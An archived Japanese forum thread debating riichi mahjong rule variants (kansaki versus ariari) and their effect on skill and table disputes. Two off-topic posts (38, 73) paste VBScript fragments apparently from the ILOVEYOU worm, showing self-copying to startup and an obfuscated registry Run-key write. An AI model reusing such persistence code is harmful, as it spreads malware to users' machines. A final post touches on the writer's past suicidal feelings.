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完先とアリアリの優劣

1 :金五筒の騎士:04/02/20 19:51 ID:qTi3RXyX
リーチ麻雀の最も古い命題について
新HNでスレッドを立てた。

2 :焼き鳥名無しさん:04/02/20 20:09 ID:6++jhs7H
う〜ん。優劣か。
素人の漏れは完先のほうが好きだな。
クソ鳴き減るからね。


3 :焼き鳥名無しさん:04/02/20 20:10 ID:???
それぞれのメリット・デメリットを提示、比較検証してください。
まずは1から。

4 :焼き鳥名無しさん:04/02/20 20:28 ID:???
完先はトラブルが起こるから…

5 :焼き鳥名無しさん:04/02/20 20:48 ID:???
鳴きを嫌う人の気持ちが良くわからない

6 :asagayakita:04/02/20 21:10 ID:HyUeOs9I
>>5

 場が荒れるという理由を聞いたことがあるが、
「荒れる」と感じるかどうかは人それぞれかと思うので同意できない。
 完先は、面前で仕上げるマージャン(桜井章一談)。
鳴きマージャン(アリアリ)は、それとは戦術が異なるので、やりにくい
というのが本当の理由ではないだろうか。
 慣れたルールで打ちたい、
結局は各々の身勝手な都合では無かろうか
と思うのだが。


7 :焼き鳥名無しさん:04/02/20 21:18 ID:???
格式を重んじる武士相手にピストルで挑むようなもの。

8 :asagayakita:04/02/20 21:22 ID:HyUeOs9I
>>4

 トラブルの多さは、アリアリの比では有りません。

それも、情けないことに、ルールの確認なしでゲームを始めることが
ほとんどの原因です。
 上がりの制約は厳しいですが分かってしまえば、出来ないことは有り
ません。
 囲んだメンバーの中に、ルールを分かっている人が居ない場合も
良く見受けられます。
 従って、トラブルの生じた時には、もうお手上げ。
解決できなくなる場合がほとんどと言っても良い位です。
(ルールを決めてから始めていないのだから当然だ)

勝っても負けても後味は良くありません。

 桜井章一さんの流派は、完先に多少似ていると思いますが、
ベースと成っているのはアリアリでしょう。
 鳴きのマージャンの方が高度だとも発言されているようですから。



9 :焼き鳥名無しさん:04/02/20 21:26 ID:???
完先も嫌いだが、喰い断も嫌いだ。

普通に、喰い断のみなければいい。

で、基地外の完先ベースって何よ?

10 :焼き鳥名無しさん:04/02/20 21:27 ID:???
東風荘はアリナシルール

11 :焼き鳥名無しさん:04/02/20 21:54 ID:???
>>8
飽きもしないね

12 :焼き鳥名無しさん:04/02/20 21:58 ID:???
基地外のように好き嫌いだけでこのスレは終わるのかよ。
1はネタを提供しろ。

13 :焼き鳥名無しさん:04/02/20 22:17 ID:5ixcuQ7q
阿佐谷北は荒らしの定義も麻雀も判っていないね。

14 :焼き鳥名無しさん:04/02/20 22:24 ID:???
>>9
食いタンなしなんて最高につまらんじゃん
しのぎもできないし、後付けもバレバレ
なんで禁止するのかわからん
おかげで東風荘はやる気がおこらない

15 :焼き鳥名無しさん:04/02/20 22:27 ID:???
>食いタンなしなんて最高につまらんじゃん

喰い断好きならポンジャンでもやればいい。

16 :焼き鳥名無しさん:04/02/20 22:32 ID:???
違いを聞きたいというスレなのにきキミ達、頭おかしいね

17 :焼き鳥名無しさん:04/02/20 22:33 ID:???
スレッドタイトル 完先とアリアリの優劣

18 :焼き鳥名無しさん:04/02/20 23:02 ID:???
そもそも異なるルールで何の違いを聞きたいのか。
いわゆる糞スレの類だな。

19 :焼き鳥名無しさん:04/02/20 23:23 ID:???
食いタンなしなんて麻雀の楽しみの半分を放棄している

20 :焼き鳥名無しさん:04/02/20 23:36 ID:???
完先といっても、実際は中付けも認めてるんだろ?
配譜を採る人間でも居ない限り、確認できんからな。

よって、完先自体が存在しないので無意味なスレ(・⊇・)

21 :焼き鳥名無しさん:04/02/20 23:37 ID:???
食いタンありなんて麻雀の奥深さの半分を放棄している

22 :焼き鳥名無しさん:04/02/20 23:39 ID:???
そもそも流行らない完先に粘着している馬鹿はもっと惨めだ。

23 :焼き鳥名無しさん:04/02/20 23:49 ID:BGl3AD7U
食いタンありと食いタンなしだと、食いタンありのほうが運の割り合いが減って腕の割合が大きくなると思うよ

24 :焼き鳥名無しさん:04/02/21 00:05 ID:???
>>23
マジで言っているのか・・・・

25 :焼き鳥名無しさん:04/02/21 00:08 ID:???
運の割合どうこうは知らんが、
切る牌に気を使わなくても良い状況が多いのは完先だな。
結果、腕が落ちる。

26 :焼き鳥名無しさん:04/02/21 00:09 ID:???
>>24
いや、マジで。捌けるからね。

27 :焼き鳥名無しさん:04/02/21 00:54 ID:???
食いたんありのほうが普通に腕が必要だと思うよ

28 :焼き鳥名無しさん:04/02/21 01:33 ID:???
俺は麻雀を始めたときは完先でやっていた。
先輩が「初心者は完先のようなルールではじめたほうが後のためによい」
と言われて最初のころは初心者どうしで完先で打っていた。
これは手作りをおぼえる上ではなかなか有効な手段だったと思う。

29 :焼き鳥名無しさん:04/02/21 01:38 ID:???
アリアリは変化に対応する能力が著しく欠ける

30 :焼き鳥名無しさん:04/02/21 01:45 ID:???


基 地 外 阿 佐 谷 北 は 立 ち 入 り 禁 止



31 :焼き鳥名無しさん:04/02/21 02:12 ID:???
>>29
そりゃ完先だろ。

32 :焼き鳥名無しさん:04/02/21 02:54 ID:???
>>10

なしあり

33 :焼き鳥名無しさん:04/02/21 04:29 ID:???
初心者は完先でやった方が良いんじゃない?実力もつきやすいし、同卓した人にも煙たがられにくいと思う。
オレは事前に説明してくれればどっちでも良い。クイタンのみとかだって戦術だから、文句は言えんよな。
逃げるときはオレもやるし…。

ちゃんと、腕がある人同士ならアリアリの方が戦術的に広がるから良いのでは?

34 :焼き鳥名無しさん:04/02/21 04:30 ID:???
クイタンじゃなくてあとづけ役牌のみか…

35 :焼き鳥名無しさん:04/02/21 04:32 ID:???
自分に不利なルールで連勝してなんぼの強さだと思うが。

36 :焼き鳥名無しさん:04/02/21 06:06 ID:???
大体スレタイが悪い。
優劣っていったって、この程度のスレしかついてこないだろうが。
1は馬鹿じゃないのか?

37 :焼き鳥名無しさん:04/02/21 06:07 ID:???
スレ×
レス○

38 :焼き鳥名無しさん:04/02/21 07:35 ID:???
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

39 :焼き鳥名無しさん:04/02/21 11:07 ID:???
いきなり役牌をポンされる状況を好むか好まないか。

40 :焼き鳥名無しさん:04/02/21 13:27 ID:???
>>36
優劣じゃなくて、比較検証でいいんじゃないのか。

41 :焼き鳥名無しさん:04/02/21 17:20 ID:???
あるアイドルが海外旅行からの帰路、国際空港の税関でショルダーバッグが金属探知機にひっかかる。
係員の手によってショルダーバッグが無造作に開けられ、衆目の中、モゾモゾと動く物体が取り出される。マネージャー、蒼白になって
「あれほど持ってくるなって言っただろ」
「だって、我慢できなかったんだもン!」
それは、電動バイブレーターだった。
アイドルは時代によってころころ変わる模様。ボキが最初に聞いた時は柏原芳江でした。なんか『フォーカス』に載ったとか。ホンマかいな。


42 :焼き鳥名無しさん:04/02/22 01:11 ID:VMlR6w1H
漏れも>33に同意。
初心者が手作りのノウハウを学ぶには、
安易な喰いタンや後付けに逃げられず、他からの邪魔も入りにくい
完先ルールのほうがいいと思う。ただしルールの確認は忘れずにw

そこから一歩進んで、相手の手を読んでヤバい牌を絞るとか
手の進行に差をつけられた時の挽回の仕方とか、
そういう細かい(でも重要な)戦術はアリアリで打つ方が身に付きやすい。

43 :焼き鳥名無しさん:04/02/22 02:09 ID:XicFtfcJ
アリアリで赤入りで東風戦だとみんな鳴く鳴く。。。
でも鳴きが有効なルールのほうが実力が反映されやすいと思うんだよね
面前よりも鳴く方が配牌やツモに左右されないから、ゲーム全体の中の運の占める割合が落ちる

44 :焼き鳥名無しさん:04/02/22 03:37 ID:???
初心者相手にはありありで上級者相手ではなしなしでやってますが

45 :焼き鳥名無しさん:04/02/22 07:23 ID:???
組み合わせの選択はあるが、狙う役は鳴いた時点で絞られてしまう。
スピード、和了の確立、役などトータルで評価されるべきで、鳴き、ツモ
牌のみで運・実力というのはおかしい。

46 :過去スレ:04/02/22 09:04 ID:???
何?、完先ルール・食い断無しが正当でしょ?
http://game.2ch.net/mj/kako/1012/10124/1012480820.html

47 :焼き鳥名無しさん:04/02/22 09:36 ID:???
・ナシナシ:喰い断なし・後役付けなし
・ナシアリ:喰い断なし・後役付けあり
・アリアリ:喰い断あり・後役付けあり

好き嫌いだけのことだが、ナシナシかナシアリがいい。

48 :焼き鳥名無しさん:04/02/22 09:39 ID:???
アリアリで赤入りで東風戦は、ほぼツキだけのような気がしなくも無い。
おまけに御祝儀アリだと尚更。

49 :焼き鳥名無しさん:04/02/22 10:02 ID:???
>>42-43
正解とは言えない

50 :焼き鳥名無しさん:04/02/22 14:16 ID:???
俺はアリナシがいいな

51 :焼き鳥名無しさん:04/02/22 18:58 ID:???
アリナシがバランス的に好きだな

52 :畑正憲:04/02/23 07:07 ID:???
食い断の無い麻雀は邪道以下、あれは子供が遊びでやるものだ。

53 :焼き鳥名無しさん:04/02/23 21:43 ID:???
無ハンあがりOKのアリアリアリが最高。

54 :焼き鳥名無しさん:04/02/23 22:48 ID:???
ポンジャンでもやれば?

55 :焼き鳥名無しさん:04/03/04 23:52 ID:qLJhU+iB
完先はかわし手が作りにくい
結果リーチのぶつかり合いだけの大味な麻雀になることが多いです。

56 :焼き鳥名無しさん:04/03/05 01:04 ID:???
おれは食いタン無しの方が好きだ。
結局鳴くのが好きな人はアリアリ、
面前で行くのが好きな人は「完先」・・じゃない、ナシアリだな。
「完先」はクソ。純チャンてんぱってもあがれなかったりする。


57 :焼き鳥名無しさん:04/03/09 22:32 ID:???
基地外は来るなよ

58 :焼き鳥名無しさん:04/03/09 22:33 ID:???
kちがい=asagayakita

59 :焼き鳥名無しさん:04/03/09 22:41 ID:WHooiN0b
好き嫌いは個人によりけりなので、各々が声を大にして叫んでも
反対意見を述べるものはいなくならない。
優劣と言うのであれば、F1とパリダカラリーを比べるようなもので、完先でもアリアリでも
それぞれに面白さがある。
てなことが、浅見了さんとこに書いてありましたな。

ttp://www.asamiryo.jp/pur1.html

で、やっぱり続くんですか?

60 :焼き鳥名無しさん:04/03/09 22:43 ID:???
別に好きな方でやればいい
総裁も阿佐谷北もやれやれって感じ

61 :金五筒の騎士:04/03/10 18:15 ID:R7kHsVEr
アリアリの場合、1翻縛りの趣旨を何に求めるか?
理論的に明らかでない。
また和了できない待ちの問題がある。
この点から私は完先を以て正統のリーチ麻雀とし
アリアリの上におくのである。

62 :焼き鳥名無しさん:04/03/10 18:20 ID:???
似て非なるもの。違うゲームという認識だ。
よって優劣などはつけられない。
個人的にはアリアリが好きだが。

63 :焼き鳥名無しさん:04/03/10 19:22 ID:???
>>61
私もクイタンありルールーは好きではないんだけど、ちょっと
一言言いたい。
完先は、実はルールーとしての定義が完全になされていない。

例えば、一つも鳴かないでも中と発のしゃぼではあがれない。
これは完先ならそうである。

また、中をアンコったとして他の面子を鳴いて上がることは出来ない。
(厳密な完先だとそうらしい)
これは、鳴いた時点で確定役があるということが言えないからだという。
しかし、そうだとしたら中を先にポンしてあがるのはよくてアンコでは
ダメ、という感覚的にみて矛盾のような事態が生じる。

だから完先というのではなくて、クイタンのみなし、他はありというルール
の方がトラブルは少ないと思う。

64 :焼き鳥名無しさん:04/03/10 23:17 ID:AoVlp7AX
>>61
 あなたは1翻縛りの趣旨がどこにあるとお考えですか?
和了できない待ちの問題とはどういう意味なんでしょうか?
その辺詳しく答えていただければうれしいです。

65 :59:04/03/10 23:29 ID:DxhM/NCa
総裁さんとこの(とゆーか、総裁さんの脳内の)完先ルールでは
鳴いていない部分で一飜確定していればあがれるんですよね?

2345688白白白 五五五ポン これで147なら和了OK。
123456789西 五五五ポン 一気通貫があるから、西の出和了OK。

これとクイタンの差がわからないので、説明していただけるとありがたいです。

66 :焼き鳥名無しさん:04/03/11 01:29 ID:???
>>65
クイタンなしは完全先付とはちがうところから発生したもの。

クイタン無しで先付ありのルールもある。

因みにクイタン無しは
「鳴くとイイハン役が下がる(コウツ系、役牌はのぞく)という原則によるもの」

これは役を面前で作る方が難しいからという事で原則として役は鳴くとイイハン下がる。
したがってイイハン役は鳴いては成立しないのが原則。
原則から考えるとタンヤオは鳴いては成立しない。
クイタンありというのは麻雀にスピードを持たせるために原則を曲げて作られたものだと思う。

コウツ系の役は鳴くことが原則で、鳴かずに作るとその事でつく役があるため(三アンコウ
など)食い下がりはない。

67 :金五筒の騎士:04/03/13 20:06 ID:GEqwNUUU
>>63
完先でも門前王手飛車と裡向一翻は認めるルールが主流です。
>>66
63とは別の方でしょうか?
タンヤオの一翻は門前の三色・一通などが二翻になる前からあったので
順子手食下がりは適用されない、という説も有力のようです。
実際、完先でも他役と複合すれば喰いタンを認めるルールが主流です。
ただチーのある4打ちではあまりにもできやすいので
完先では採用しないほうがよいと考えます。

68 :焼き鳥名無しさん:04/03/13 20:08 ID:???
あっちのスレ埋めろよ

69 :焼き鳥名無しさん:04/03/13 20:27 ID:???
>>67
>実際、完先でも他役と複合すれば喰いタンを認めるルールが主流です。

そんなルールどこにもないぞ。

70 :59:04/03/13 21:15 ID:a5HB3ZQ8
>>66
>クイタンありというのは麻雀にスピードを持たせるために原則を曲げて作られたものだと思う。

日本に麻雀が伝わったころから断ヤオという役はありました。
そのころの麻雀は四面子一雀頭が揃っていれば、無役でも和了可能でした。
食い下がりの概念もありませんでした。
また、7順目には誰かが聴牌していると心得よ、と考察されていたりしました。

麻雀の歴史の勉強をするのも面白いものですよ。

71 :焼き鳥名無しさん:04/03/13 22:58 ID:???
asagayakitaが名無しでいる模様

72 :焼き鳥名無しさん:04/03/13 23:09 ID:???
>>70
>そのころの麻雀は四面子一雀頭が揃っていれば、無役でも和了可能でした。
>食い下がりの概念もありませんでした。

昔はどういう意味でのクイタンはあったかもね。
でもそれは今の論点とは別なんだけど。
昔は役無しであがれたから云々と言いだせば役についての考察は意味がなくなる。
昔どうだったかと言う話ではなくて

イイハン縛りという概念と食下がりという概念からすると、イイハン役のタンヤオは
食下がりで役として成立しないというのが本則だが、取りいれることによるメリット
もあるため採用しているところも多いという話をしているわけだが。

73 :焼き鳥名無しさん:04/03/13 23:33 ID:???
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G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),
E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))


74 :59:04/03/14 16:30 ID:cwmzD4xW
>>72
了解です。
自分が言葉尻だけ捉えていたようで、申し訳ありませんでした。

とりあえず、現在多くのフリー雀荘でクイタンを採用するメリットは
「採用したほうがゲームの進行が早いから」ではないかと思います。
また、断ヤオが現在でも食い下がり無しで存在する理由は、
「使いどころとかを考えると結構便利だよね」くらいじゃないかと思っています。

自分が65で言いたかったことは、さらしていない部分に隠れて一飜あれば
和了OKな完先と、後づけでも片和了でも最終的に一飜確定すれば和了れる麻雀と、
その差が無い場面も出てくるのだが、それに関してどう理由付けするのか、と言うことです。
質問の仕方が悪くてすみませんでした。

123456789西 五五五ポン 一気通貫が確定しているから、西の出和了OK。
12356789西西 五五五ポン 一気通貫が確定するから4なら和了OK。

仮に一向聴が 12356789西中 だったとして、先に4を積もってきたら和了れて、
西を積もってきたら和了れないというのは、どこに差があるのでしょうか?
4を積もってくるのも西を積もってくるのも運次第であり、そうであるとするならば
完先とアリアリの優劣などない、とも思えるのですが。
もちろん、極端な例であり、完先であれば先に五をポンなんかしない、と言うのも
わかっての質問です。

75 :焼き鳥名無しさん:04/03/14 23:46 ID:I9Y11f4r
クイタンとチートイツのうまい人は強いと思うが どうですかね

76 :焼き鳥名無しさん:04/03/15 12:48 ID:???
>74

123456789西 五五五ポン

完先であれば先に五をポンなんかしない、というか
この手だと完先ではチョンボになるような


77 :焼き鳥名無しさん:04/03/15 17:03 ID:???
>>75
別に・・

78 :金五筒の騎士:04/03/15 17:52 ID:VRgkO7Vg
>>74
あなたが言いたいのは
12356789西中 五五五ポン
この形から4を先に引けば有効の聴牌になる という点が不合理だということでしょうか。
たしかに一理あります。ただ牌をどのような順で引いたかが確認できないので
仕掛けの後に兵牌中に役ができたときも和了を認めています。

79 :59:04/03/15 23:10 ID:jQbDOeZ7
>>78
不合理であることを理解できるのに、
なぜ完先とアリアリに優劣など無いと理解できないのかがわからないです。

完先スレッドも最初から読んでいますが、まず結論として完先の優位を持ってきて、
そこに理論的補強をしているだけではないでしょうか?

内包する論理的矛盾は、完先でもアリアリでも同じようなものです。
総裁さんはそのことに気が付いているのに、感情的に完先を良しとしているとしか思えません。

80 :66:04/03/15 23:39 ID:???
>>74
私も完先のルールは少しおかしいところがあると思う。
例えば純チャンで待ちの部分が9998となっていたら7が出てもあがれない。
(他に役があればいいが)
中と白のしゃぼであがれないなど不合理なように思える。

ただ>>65
>これとクイタンの差がわからないので、説明していただけるとありがたいです。

というのはクイタンと関係ないと思うが。

81 :焼き鳥名無しさん:04/03/15 23:42 ID:???
>>78
>たしかに一理あります。ただ牌をどのような順で引いたかが確認できないので
>仕掛けの後に兵牌中に役ができたときも和了を認めています。

普通の完先はそうなんだけど、場所によってそれも認めないという種類の完先も
あるらしいので余計に混乱する。
例えば、中がアンコであって他の牌を鳴いて上がるのもだめとか。
これは明らかにおかしなルールーなんだけどね。

82 :焼き鳥名無しさん:04/03/15 23:45 ID:???
クイタン無しでやりたい場合は
クイタン無し、先付あり、のルールでやった方がいいと思う。

83 :59:04/03/16 19:05 ID:h3K8r3Zg
>>80
私は完先のルールがおかしいとは思っていない人です。
全てのゲームにはルールがあり、プレイヤーはルールに従ってゲームすべきだと思うし、
そのルールに納得いかない部分があれば、そこには目をつぶってプレイするか、修正を提唱するか、
プレイしなければいいだけだと考えています。
>>79にも書きましたが、アリアリにだってルールとしておかしいと思う部分はあると考えています。
ただ、個人的に麻雀をする場合には、アリアリの方が楽しいと思うので完先では打ちたくないというだけです。

また、総裁さんの脳内完先は、別段ルールとしてそれほど不備があるとは考えていません。
1)食い仕掛ける場合には、仕掛けた面子が手役と関係しているか、
 さらしていない部分に何らかの役があれば和了れる
2)上記以外の条件でさらした場合で両面以上の聴牌であるとき、そのいずれの牌全てが
 手役と関係していなければならない
まとめるとこうなるのではないでしょうか?間違っていたら指摘してください>総裁さん

長くなりそうなので一旦CMです。

84 :59:04/03/16 19:19 ID:h3K8r3Zg
>>83続き

1)は単純なので問題無いと思いますが、完先の麻雀においては2)の解釈でもめる場合が
多いのではないでしょうか?

例えば王手飛車(翻牌シャボ待ち)の場合、「どちらかの翻牌が役として確定しているのだから
和了れないのはおかしい」という意見と、「ロン牌が打ち出されるまでどちらの翻牌か確定して
いないのだから、和了れるのはおかしい」と言う意見があると思いますが、これにしてもルールで
しっかり決めておけば良いだけではないでしょうか?

総裁さんの脳内完先においては、後者の論をルールとして採用しているというだけで、
どちらの意見が正しいとか間違っているとか、そういう問題では無いと考えます。

2333678四五五六六七のロン牌は124ですが、これが和了れないのは
そのいずれの牌においても断ヤオか平和か、役が確定していないからであり、
それはルールがそうであるから、と言う理由です。それ以上でも以下でもありません。

麻雀はプレイヤーは審判も兼ねています。その審判が正しいルールを知らなければ
ゲームとして成り立ちません。完先でもアリアリでも、初めての人とのゲーム前には
ルールの打ち合わせをしておくのがベストだと思います。


85 :焼き鳥名無しさん:04/03/16 20:35 ID:???
>>84
いや、完先というのは役の付け方を決めるルールであるのだから、
本来は完先そのものが一つの解釈であるべき。

人によっては完先といえば一つと思っている人もいる。

>これにしてもルールでしっかり決めておけば良いだけではないでしょうか?

完先でルールーが分れていることを知っている人の場合はそれでいいが、そうで
ないひとも多いので完先というだけでいちいち細かいことを確認せずはじめてしまう
場合がある。そういった時にトラブルになるね。

86 :焼き鳥名無しさん:04/03/16 20:41 ID:???
>>83
>私は完先のルールがおかしいとは思っていない人です。

完先で一部にいわれている、中がアンコであって他の牌を鳴いて上がるのもだめ
というのは他の牌を鳴いた時点では役があるかどうか分らないからダメというもの
らしいが、中をアンコで持っているとだめなので仕方なく先に中が出た時点でアン
コの牌をポンして手の中の牌を切る、あるいはカンする、それであがれるという事
になるようだ。

おかしな話だと思うよ。



87 :59:04/03/16 22:26 ID:h3K8r3Zg
>>85
まったくもって仰るとおりです。
アリアリでさえ場によってルールが違っているのが現状です。
早いところ統一ルールが完成しないもんですかねぇ。

アリアリでも、連風牌対子は2符か4符かとか、嶺上自摸は
自摸和了かロン和了かとか、確認するべきことはいろいろ
ありますからね。

ただ、やはり完先はアリアリ以上に確認事項が多いですよね。

88 :59:04/03/16 22:43 ID:h3K8r3Zg
>>86
すみません。
これまた私が似合わない単語を使ってしまいました。

感情の部分から言えば、「おかしい」と言っても良いと思います。
ただ、ルールと言うのには感情を移入するものではないので、
「おかしい」と言う単語はふさわしくなかったですね。
「完先のルールが殊更特殊であるとは思っていない人です」、くらいにしといてください。

>>86であげられている例に関しても、感情はともかくとして
「ルールがそうであるから仕方ない」としか言いようが無いのではないでしょうか?
「雀頭がオタ風なら平和になるのに、なんで自風だと平和にならないんだよぅ」と
嘆いているようなもので、その中をポンをするなり暗刻落としをするなり、
プレイヤーが置かれている状況においてルールに従って行動すればいいだけです。
ルールが「ポン、チー、明槓がある場合翻牌アンコの一飜は和了を認めない」とあるなら
その状況にならないようにする。
感情がどうであれ、ルールがそうならそれに従うのがプレーヤーです。

89 :いも:04/03/16 22:52 ID:???
まぁ、おいらほどの腕があればアリアリでもナシナシでも
どちらでも結構ぢゃが、一言。プップー。

麻雀を本当に楽しむためにはアリアリ。
たまに色違いの変則ルールで打ちたいならナシナシ。
ちなみにナシナシは、意外と打ち方の鍛錬になるぞ。
ナシナシで腕を磨けば、アリアリの腕も上がる。
ただしナシナシしか知らんようでは意味がない。
アリアリを知った上で、ナシナシを打つこと。


90 :いも:04/03/16 22:57 ID:???
続き。

アリアリを打ってもナシナシの腕は上がらない。
それもそのはず、ナシナシはアリアリのワザの多くを禁じ手にしているから。
ナシナシ特有の打ち回しは、ナシナシで鍛えるしかないべ。

ただし、これほど揉め事の多く起こるルールもないべ(笑)
あれは駄目これは駄目この待ちはチョンボ、もうトラブル起こすためのルールと
言い換えてもいいほどぢゃ!
どんなに事前に決め事をしても、必ずレアケースの揉め事が起こる。
ゆえにアリアリで打つのが本筋ぢゃ。
ナシナシは気分転換とでも思えばよし。

91 :焼き鳥名無しさん:04/03/17 01:14 ID:???
おまえらこれよんでください

ttp://www.asamiryo.jp/KANSAKI.html

92 :焼き鳥名無しさん:04/03/17 09:53 ID:???
>>91
そこに
http://www.asamiryo.jp/kansaki04.html
>いずれにせよ、このケースに限らず、完先は不明朗な部分が多いルールです。
>そのためトラブルも発生しやすいのでお勧めしかねます。

こう、書いてある。

>>88
>「ルールがそうであるから仕方ない」としか言いようが無いのではないでしょうか?

もちろんそうだが手のに出来ているアンコをわざわざポンしないとあがれないというルールは、
おかしなルールといえるのではないだろうか。
勿論そのルールを採用したからには

>「ルールがそうであるから仕方ない」
なのだが、そのルールそのものがおかしいのではないかという話である。


93 :金五筒の騎士:04/03/17 18:57 ID:Gm228d+2
>>59
完先にも不合理な部分はありますが、可能な限り一翻縛りの趣旨を一貫させるという思想があります。
アリアリは思想性が弱いと思います。
鳴き王手飛車を現在不可とする理由ですが、これは翻牌雀頭からの後付を認めると
ルールが混乱するからです。
王手飛車を認める以上、役牌対子二組からの後付も認めざるをえませんが
後から対子落しする場合や、未確定三連刻が絡む場合の裁定が困難なので
現時点では禁止しています。将来は認められる可能性もあります。

http://ip.tosp.co.jp/i.asp?i=reachorder

94 :焼き鳥名無しさん:04/03/17 19:11 ID:c84qQ12V

そもそもイーハン縛りの趣旨はギャンブル性を高める事です。


95 :92:04/03/17 19:49 ID:???
完先は麻雀をはじめたばかりの人の鍛錬の場としてはいいと思う。

理由は、鳴きに対して役の見通しを先につけるという事が身に付く。

待ちに対しての厳しい制約、(8887とあって7では役無しの場合9で平和でも
あがれない)によって他面待ちについてシビアに見る習慣が身に付く。

鳴いて上がるのが難しくなるため、面前で手作り、役作りをする習慣が身に付く。

など。

わたしもはじめに完先で麻雀をおぼえたんですけど、そのせいか今でもクイタン
ありは嫌いです。

96 :いも:04/03/17 19:51 ID:???
>>93
>可能な限り一翻縛りの趣旨を一貫させるという思想があります。

↑いもには、ようわからん。
アリアリだって立派な1翻縛りやがな。
1翻ないとアガれへんから、1翻つけるためにワザを駆使しとるやないの。
どこで1翻つけようか、どんな形で1翻確保しようか。
その戦術の変化と可能性の広さは、ナシナシの比ではないぞい。



97 :いも:04/03/17 20:14 ID:???
そ。ナシナシは鍛錬には役立つよ。
特に精神が鍛えられるぞぉ(笑)
先ヅケのドラポンとかを耐える精神力と自制心の鍛錬にはもってこいぢゃ!


98 :焼き鳥名無しさん:04/03/17 20:40 ID:XUF1S4B1
   【地域別主流】

名古屋以西   完先

静岡 以東   ありあり

大坂のみ    ブー

じゃないの?

ブーマンってルールー全然違うからよく分からないが・・

99 :59:04/03/17 21:46 ID:riD5/28G
>>92
特殊な(珍しい、でもかまいません)ルールと思う人もいれば、それが普通だと感じる人もいます。
ただ、プレイヤーが納得せずともそのルールを知っていて卓に付いているのであれば、
卓外にいる人が口を挟むことではありません。
個人的にも、おかしなルールとも思わないし、それで楽しんでいる人がいるのであれば
経験として打たせてもらってもいいかなぁ、と考えています。
私はルールとしての話をし、92さんはそのルールに対する感想を述べているるようです。
平行線と言うか、交わる場所は無いのでこれくらいにしておいてください。

100 :59:04/03/17 21:54 ID:riD5/28G
>>98
ブー麻雀が打てる雀荘ですが、名古屋で2件確認されています。
平和自摸を認めるかどうかというのも、どこかで線引きできますよね。

竹書房さんのおかげで若い人たちが、アリアリ赤アリを一般的だと
考えるようになってきたような気がするので、あと20年もすれば
地域差と言うのは無くなるのではないかな、と漠然と思っています。

101 :92:04/03/17 22:07 ID:???
>>99
>ただ、プレイヤーが納得せずともそのルールを知っていて卓に付いているのであれば、
>卓外にいる人が口を挟むことではありません。

それはどんなでたらめなルールにおいても言えることであり言うまでもないことですね。

ルールとしての話としても完先が統一性のない不備なところがあるルールであることはしば
しば言われていることです。



102 :92:04/03/17 22:11 ID:???
>>99
http://www.asamiryo.jp/kansaki04.html

>もともと完全先付けは誤解から成立してきたルールです。そこでルール上の整合性という点
>において問題が非常に多いルールとなっています。

>いずれにせよ、このケースに限らず、完先は不明朗な部分が多いルールです。そのためトラブ
>ルも発生しやすいのでお勧めしかねます。

私自身は完先で麻雀をおぼえたのですが上の意見にはおおむね同意します。




103 :焼き鳥名無しさん:04/03/17 22:18 ID:???
ナシナシが我慢の鍛錬になるのはある意味あたっているよな。
我慢を覚える事によって、一つ上のレベルが望める。

104 :いも:04/03/17 22:28 ID:???
ナシナシはマゾヒスト・ルールじゃな(笑)

345889(456)白白中中 ドラ8 出る8

こんな8がポソできないんだからなぁ。

23999(123)一二三九九 ドラ1 ヤミで出る1

ハネ満なのに、あがれない。

105 :焼き鳥名無しさん:04/03/17 22:53 ID:???
それじゃ、親でその手を単なる喰い断で流されれば気分がいいだろ

106 :焼き鳥名無しさん:04/03/18 00:29 ID:???
完先が手役作りの練習に役立つ、という意見が結構見られるが
「リーチのみ」の上がりを認めてる以上、それも難しいんじゃないの?

棒テン即リー全ツッパーの練習にしかならないと思う。

107 :焼き鳥名無しさん:04/03/18 01:16 ID:???
>>106
完先だと安易に鳴きに走らないから、面前で手というか、テンパイを作っていく
練習にはなる。

これは実際に体験してみてそう。

ただし、鳴きの練習はあまり出来ないので鳴くのはへたくそ。


108 :107:04/03/18 01:19 ID:???
クイタンがないとタンヤオであっさり流されるいうことができないため、
クイタンがある場合と比較して比較的ゆっくり手作り、役作りができる。

109 :107:04/03/18 01:22 ID:???
ただし>>104で言われているように、時によっては「このクソルール」
と思うことがある。致命的に!

>>105
わしもその点クイタンは腹が立つことしばしば。

だから完先じゃなくて先付ありのクイタン無しが好き。

110 :焼き鳥名無しさん:04/03/18 01:22 ID:???
>107
「手作り」の練習は出来ると思う。でも「手役作り」は無理。
役を作ったところでダマじゃ上がれない形が多いから、結局リーチをかけることになる。
どうせリーチをかけるんなら、役なんか狙わず手なりで最速テンパイを目指す方が有利。

フリーとかのご祝儀ぶんぶん麻雀には強くなるかもね。でも上手くはなれない。

111 :焼き鳥名無しさん:04/03/18 12:21 ID:X/KsEKlg
私はアリアリ派です。
タンヤオorバックを用いて流す流されるも戦術になるから、
ゲームに深みが出るんじゃない?
他家の勝負手和了を指をくわえて見てて、
ショウガナイ…では競争じゃないでしょ。

112 :焼き鳥名無しさん:04/03/18 21:19 ID:8PH7db7l
このまま糞スレとしてドット落ちも不憫だから、
どのルールが一番腕の差が出るか考えよう。

113 :焼き鳥名無しさん:04/03/18 21:26 ID:???
そりゃちゃんころ麻雀だろ

114 :焼き鳥名無しさん:04/03/19 01:45 ID:???
北海道は完先だよー。東北(トンペー)戦だけど。

115 :107:04/03/19 15:02 ID:???
>>110
ありありと比較すれば面前での手役の比重が重くなるし、
比較的ゆっくりした手作りが許されるので、手役作りを練習
しようとしたら「クイタンなし」の方が適していると思う。

ありありと比較した場合の話だけどね。

116 :焼き鳥名無しさん:04/03/19 15:04 ID:???
個人的な意見だが、人は誰でも辛い・悲しいと言った思いをした経験はあると思う。
「死にたい」って思う程、辛かった人も大勢いると思う。
なのになぜ、人は他人に簡単に「死ね」と言えるのだろうか…
なぜ自分が辛かった時の事を忘れ、人の不幸を望めるのだろうか。
私は人を憎んでも死までは、なかなか望めない。
自分がとてつもなく辛いと思って自殺するまでにもなったから。
自分が味わった思いを他人に望む様なマネは相当心の無い人じゃないと
望めないはずじゃないのだろうか。
「死ね。」そんなに軽く発して良い言葉なのだろうか…。

2chは特に、「氏ね」「逝ってよし」などと言った言葉が多く使われているが
その何気ない言葉、その一言が同じ人間に重く伝わるって悲しい。
私も、以前精神的に落ちぶれていた時、「本当に死んでやろうか」っと
